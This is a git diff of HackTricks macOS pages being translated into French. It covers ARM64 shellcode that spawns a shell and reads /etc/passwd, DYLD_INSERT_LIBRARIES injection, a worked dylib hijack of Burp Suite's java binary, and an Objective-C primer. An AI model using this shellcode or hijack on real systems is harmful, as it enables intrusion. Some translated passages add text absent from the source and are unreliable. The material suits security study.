#### Shell -Taken from [**here**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) and explained. +Extrait de [**ici**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) et expliqué. {% tabs %} -{% tab title="with adr" %} +{% tab title="avec adr" %} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -192,7 +131,7 @@ sh_path: .asciz "/bin/sh" ``` {% endtab %} -{% tab title="with stack" %} +{% tab title="avec pile" %} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -224,10 +163,9 @@ _main: {% endtab %} {% endtabs %} -#### Read with cat - -The goal is to execute `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, so the second argument (x1) is an array of params (which in memory these means a stack of the addresses). +#### Lecture avec cat +Le but est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui signifie en mémoire une pile d'adresses). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -253,9 +191,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` - -#### Invoke command with sh from a fork so the main process is not killed - +#### Appeler une commande avec sh depuis une fourchette pour que le processus principal ne soit pas tué ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -299,15 +235,14 @@ sh_c_option: .asciz "-c" .align 2 touch_command: .asciz "touch /tmp/lalala" ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index a823ecac4..871d6d190 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -1,39 +1,22 @@ -# macOS Basic Objective-C - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- ## Objective-C {% hint style="danger" %} -Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of: +Notez que les programmes écrits en Objective-C **conservent** leurs déclarations de classe **lorsqu'ils** sont compilés en [binaires Mach-O](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Ces déclarations de classe **incluent** le nom et le type de : {% endhint %} -* The class -* The class methods -* The class instance variables - -You can get this information using [**class-dump**](https://github.com/nygard/class-dump): +* La classe +* Les méthodes de classe +* Les variables d'instance de classe +Vous pouvez obtenir ces informations en utilisant [**class-dump**](https://github.com/nygard/class-dump) : ```bash class-dump Kindle.app ``` +Notez que ces noms peuvent être obscurcis pour rendre la rétro-ingénierie du binaire plus difficile. -Note that this names could be obfuscated to make the reversing of the binary more difficult. - -## Classes, Methods & Objects - -### Interface, Properties & Methods +## Classes, méthodes et objets +### Interface, propriétés et méthodes ```objectivec // Declare the interface of the class @interface MyVehicle : NSObject @@ -48,9 +31,7 @@ Note that this names could be obfuscated to make the reversing of the binary mor @end ``` - -### **Class** - +### **Classe** ```objectivec @implementation MyVehicle : NSObject @@ -66,11 +47,9 @@ Note that this names could be obfuscated to make the reversing of the binary mor @end ``` +### **Objet et Appel de Méthode** -### **Object & Call Method** - -To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**. - +Pour créer une instance d'une classe, la méthode **`alloc`** est appelée, ce qui **alloue de la mémoire** pour chaque **propriété** et **initialise à zéro** ces allocations. Ensuite, **`init`** est appelé, ce qui **initialise les propriétés** aux **valeurs requises**. ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -82,19 +61,15 @@ MyVehicle *newVehicle = [MyVehicle new]; // [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] [newVehicle addWheels:4]; ``` +### **Méthodes de classe** -### **Class Methods** - -Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**: - +Les méthodes de classe sont définies avec le **signe plus** (+) et non le trait d'union (-) utilisé avec les méthodes d'instance. Comme la méthode de classe **`stringWithString`** de la classe **NSString**: ```objectivec + (id)stringWithString:(NSString *)aString; ``` - ### Setter & Getter -To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**: - +Pour **définir** et **obtenir** des propriétés, vous pouvez le faire avec une **notation pointée** ou comme si vous appeliez une **méthode** : ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -104,24 +79,20 @@ newVehicle.numberOfWheels = 2; NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` +### **Variables d'instance** -### **Instance Variables** - -Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_": - +En alternative aux méthodes setter et getter, vous pouvez utiliser des variables d'instance. Ces variables ont le même nom que les propriétés, mais commencent par un "\_": ```objectivec - (void)makeLongTruck { _numberOfWheels = +10000; NSLog(@"Number of wheels: %i", self.numberOfLeaves); } ``` +### Protocoles -### Protocols - -Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods. - -There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**. +Les protocoles sont des ensembles de déclarations de méthodes (sans propriétés). Une classe qui implémente un protocole implémente les méthodes déclarées. +Il existe 2 types de méthodes : **obligatoires** et **optionnelles**. Par **défaut**, une méthode est **obligatoire** (mais vous pouvez également l'indiquer avec une balise **`@required`**). Pour indiquer qu'une méthode est optionnelle, utilisez **`@optional`**. ```objectivec @protocol myNewProtocol - (void) method1; //mandatory @@ -131,9 +102,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m - (void) method3; //optional @end ``` - -### All together - +### Tout ensemble ```objectivec // gcc -framework Foundation test_obj.m -o test_obj #import @@ -183,10 +152,9 @@ int main() { [mySuperCar makeLongTruck]; } ``` +### Classes de base -### Basic Classes - -#### String +#### Chaîne de caractères {% code overflow="wrap" %} ```objectivec @@ -197,7 +165,7 @@ NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUT ``` {% endcode %} -Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**. +Les classes de base sont **immuables**, donc pour ajouter une chaîne de caractères à une chaîne existante, **une nouvelle NSString doit être créée**. {% code overflow="wrap" %} ```objectivec @@ -205,7 +173,7 @@ NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published ``` {% endcode %} -Or you could also use a **mutable** string class: +Ou vous pouvez également utiliser une classe de chaîne **mutable** : {% code overflow="wrap" %} ```objectivec @@ -218,7 +186,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "] ``` {% endcode %} -#### Number +#### Nombre {% code overflow="wrap" %} ```objectivec @@ -239,9 +207,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble: NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES] NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] ``` -{% endcode %} - -#### Array, Sets & Dictionary +#### Tableau, Ensembles & Dictionnaire {% code overflow="wrap" %} ```objectivec @@ -291,11 +257,9 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW ``` {% endcode %} -### Blocks +### Blocs -Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas. - -{% code overflow="wrap" %} +Les blocs sont des **fonctions qui se comportent comme des objets** et peuvent donc être passés en paramètre de fonctions ou **stockés** dans des **tableaux** ou des **dictionnaires**. De plus, ils peuvent **représenter une valeur s'ils sont donnés des valeurs**, ce qui est similaire aux lambdas. ```objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ //Perform operations here @@ -310,8 +274,7 @@ NSLog(@"3+4 = %d", suma(3,4)); ``` {% endcode %} -It's also possible to **define a block type to be used as a parameter** in functions: - +Il est également possible de **définir un type de bloc à utiliser en tant que paramètre** dans les fonctions : ```objectivec // Define the block type typedef void (^callbackLogger)(void); @@ -333,8 +296,7 @@ genericLogger(^{ NSLog(@"%@", @"This is my second block"); }); ``` - -### Files +### Fichiers {% code overflow="wrap" %} ```objectivec @@ -363,15 +325,13 @@ if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { ``` {% endcode %} -It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**. - +Il est également possible de gérer les fichiers **en utilisant des objets `NSURL` au lieu d'objets `NSString`**. Les noms des méthodes sont similaires, mais **avec `URL` au lieu de `Path`**. ```objectivec NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"]; NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"]; [fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil]; ``` - -Most basic classes has a method `writeToFile: atomically: encoding: error:nil` defined that allows them to be directly be written to a file: +La plupart des classes de base ont une méthode `writeToFile: atomically: encoding: error:nil` définie qui leur permet d'être directement écrites dans un fichier : {% code overflow="wrap" %} ```objectivec @@ -384,10 +344,10 @@ NSString* tmp = @"something temporary"; ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index 53c5c4e78..8b5a9a8bc 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -4,18 +4,17 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -## DYLD\_INSERT\_LIBRARIES Basic example - -**Library to inject** to execute a shell: +## Exemple de base DYLD\_INSERT\_LIBRARIES +**Bibliothèque à injecter** pour exécuter un shell : ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -31,9 +30,7 @@ void myconstructor(int argc, const char **argv) execv("/bin/bash", 0); } ``` - -Binary to attack: - +Binaire à attaquer: ```c // gcc hello.c -o hello #include @@ -44,16 +41,15 @@ int main() return 0; } ``` +Injection : -Injection: - +L'injection est une technique courante utilisée par les attaquants pour exploiter les vulnérabilités des applications. Elle consiste à insérer du code malveillant dans une application afin de prendre le contrôle de celle-ci ou d'obtenir des informations sensibles. Les injections peuvent se produire dans différents types d'applications, y compris les applications de bureau, les applications Web et les applications mobiles. Les injections les plus courantes sont les injections SQL et les injections de commandes. Les injections peuvent être évitées en utilisant des techniques de codage sécurisé et en validant les entrées utilisateur. ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` +## Exemple de Dyld Hijacking -## Dyld Hijacking Example - -The targeted vulenrable binary is `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java`. +Le binaire vulnérable ciblé est `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java`. {% tabs %} {% tab title="LC_RPATH" %} @@ -72,7 +68,7 @@ otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundl {% endcode %} {% endtab %} -{% tab title="@rpath" %} +{% tab title="@executable_path" %} {% code overflow="wrap" %} ```bash # Check librareis loaded using @rapth and the used versions @@ -92,13 +88,12 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: +Avec les informations précédentes, nous savons qu'il **ne vérifie pas la signature des bibliothèques chargées** et qu'il **essaie de charger une bibliothèque depuis**: * `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib` * `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib` -However, the first one doesn't exist: - +Cependant, le premier n'existe pas: ```bash pwd /Applications/Burp Suite Professional.app @@ -107,8 +102,7 @@ find ./ -name libjli.dylib ./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib ./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib ``` - -So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions: +Il est donc possible de le pirater ! Créez une bibliothèque qui exécute un code arbitraire et exporte les mêmes fonctionnalités que la bibliothèque légitime en la réexportant. Et n'oubliez pas de la compiler avec les versions attendues : {% code title="libjli.m" %} ```objectivec @@ -121,7 +115,7 @@ void custom(int argc, const char **argv) { ``` {% endcode %} -Compile it: +Compilez-le : {% code overflow="wrap" %} ```bash @@ -130,7 +124,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found ``` {% endcode %} -The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export: +Le chemin de réexportation créé dans la bibliothèque est relatif au chargeur, changeons-le pour un chemin absolu vers la bibliothèque à exporter : {% code overflow="wrap" %} ```bash @@ -151,7 +145,7 @@ otool -l libjli.dylib| grep REEXPORT -A 2 ``` {% endcode %} -Finally just copy it to the **hijacked location**: +Finalement, copiez-le simplement dans l'**emplacement détourné** : {% code overflow="wrap" %} ```bash @@ -159,7 +153,7 @@ cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jr ``` {% endcode %} -And **execute** the binary and check the **library was loaded**: +Et **exécutez** le binaire et vérifiez que la **bibliothèque a été chargée** :
./java
 2023-05-15 15:20:36.677 java[78809:21797902] [+] dylib hijacked in ./java
@@ -168,21 +162,18 @@ And **execute** the binary and check the **library was loaded**:
 
{% hint style="info" %} -A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +Un bon article sur la façon d'exploiter cette vulnérabilité pour abuser des autorisations de caméra de Telegram peut être trouvé sur [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) {% endhint %} -## Bigger Scale - -If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution). +## Plus grande échelle +Si vous prévoyez d'essayer d'injecter des bibliothèques dans des binaires inattendus, vous pouvez vérifier les messages d'événement pour savoir quand la bibliothèque est chargée à l'intérieur d'un processus (dans ce cas, supprimez le printf et l'exécution de `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` - -## Check restrictions +## Vérifier les restrictions ### SUID & SGID - ```bash # Make it owned by root and suid sudo chown root hello @@ -193,17 +184,14 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello # Remove suid sudo chmod -s hello ``` - -### Section `__RESTRICT` with segment `__restrict` - +### Section `__RESTRICT` avec le segment `__restrict` ```bash gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict ``` +### Runtime sécurisé -### Hardened runtime - -Create a new certificate in the Keychain and use it to sign the binary: +Créez un nouveau certificat dans le trousseau de clés et utilisez-le pour signer le binaire : {% code overflow="wrap" %} ```bash @@ -222,10 +210,10 @@ DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Throw an error because an Ap ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 26ee0708b..aa705f950 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -1,36 +1,31 @@ -# macOS File Extension Apps +# Applications de fichiers d'extension macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-### File Extensions Apps - -The following line can be useful to find the applications that can open files depending on the extension: +### Applications d'extensions de fichiers +La ligne suivante peut être utile pour trouver les applications qui peuvent ouvrir des fichiers en fonction de leur extension : ``` /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` - -Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): - +Ou utilisez quelque chose comme [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): ``` ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared ./swda getUTIs #Get all the UTIs ./swda getHandler --URL ftp #Get ftp handler ``` - -You can also check the extensions supported by an application doing: - +Vous pouvez également vérifier les extensions prises en charge par une application en faisant: ``` cd /Applications/Safari.app/Contents grep -A3 CFBundleTypeExtensions Info.plist | grep string @@ -62,15 +57,14 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string xbl svg ``` -
